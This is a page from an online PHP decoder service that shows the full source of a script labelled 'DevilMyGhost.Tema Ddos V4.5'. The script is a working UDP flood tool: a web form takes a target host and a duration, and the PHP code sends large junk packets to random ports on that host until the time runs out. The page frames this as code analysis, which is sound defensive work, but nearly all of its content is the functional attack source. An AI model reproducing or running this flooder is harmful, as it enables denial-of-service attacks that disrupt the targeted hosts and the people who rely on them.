Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

#---------------------------------------------------------------# # Powered By DevilMyGh..

Decoded Output download

<br><b>UDP Flooding</b><br> 
			<form action=? method=GET> 
			<input type="hidden" name="xrt" value="php"> 
			Host: <br><input type=text name=host value=><br> 
			Length (seconds): <br><input type=text name=time value=><br><br> 
			<input type=submit value=Go></form>

Did this file decode correctly?

Original Code

#---------------------------------------------------------------#
#		Powered By DevilMyGhost.Tema					#
#			  Ddos V4.5								#
---------------------------------------------------------------#
<html>
<head>
DevilMyGhost.Tema
</head>
<body>
<center>
<font color="00FF00">
<STYLE>
input{
background-color: #000000; font-size: 8pt; color: #000000; font-family: Tahoma; border: 1 solid #666666;
}
button{
background-color: #000000; font-size: 8pt; color: #000000; font-family: Tahoma; border: 1 solid #666666;
}
body {
background-color: #000000;
}
</style>
<?php
if(isset($_GET['host'])&&isset($_GET['time'])){
	$packets = 0;
	ignore_user_abort(TRUE);
	set_time_limit(0);
 
	$exec_time = $_GET['time'];
 
	$time = time();
	//print "Started: ".time('d-m-y h:i:s')."<br>";
	$max_time = $time+$exec_time;
 
	$host = $_GET['host'];
 
	for($i=0;$i<65553;$i++){
			$out .= 'X';
	}
	while(1){
	$packets++;
			if(time() > $max_time){
					break;
			}
			$rand = rand(1,65553);
			$fp = fsockopen('udp://'.$host, $rand, $errno, $errstr, 5);
			if($fp){
					fwrite($fp, $out);
					fclose($fp);
			}
	}
 
 
	echo "<br><b>UDP Flood</b><br>Completed with $packets (" . round(($packets*65)/2048, 2) . " MB) packets averaging ". round($packets/$exec_time, 2) . " packets per second \n";
	echo '<br><br>
		<form action="'.$surl.'" method=GET>
		<input type="hidden" name="xrt" value="php">
		Host: <br><input type=text name=host><br>
		Length (seconds): <br><input type=text name=time><br>
		<input type=submit value=Go></form>';
}else{ echo '<br><b>UDP Flooding</b><br>
			<form action=? method=GET>
			<input type="hidden" name="xrt" value="php">
			Host: <br><input type=text name=host value=><br>
			Length (seconds): <br><input type=text name=time value=><br><br>
			<input type=submit value=Go></form>';
}
?>
</center>
</body>
</html>

Function Calls

None

Variables

None

Stats

MD5 6957dc180bc5d5e53d88f17378490d8e
Eval Count 0
Decode Time 101 ms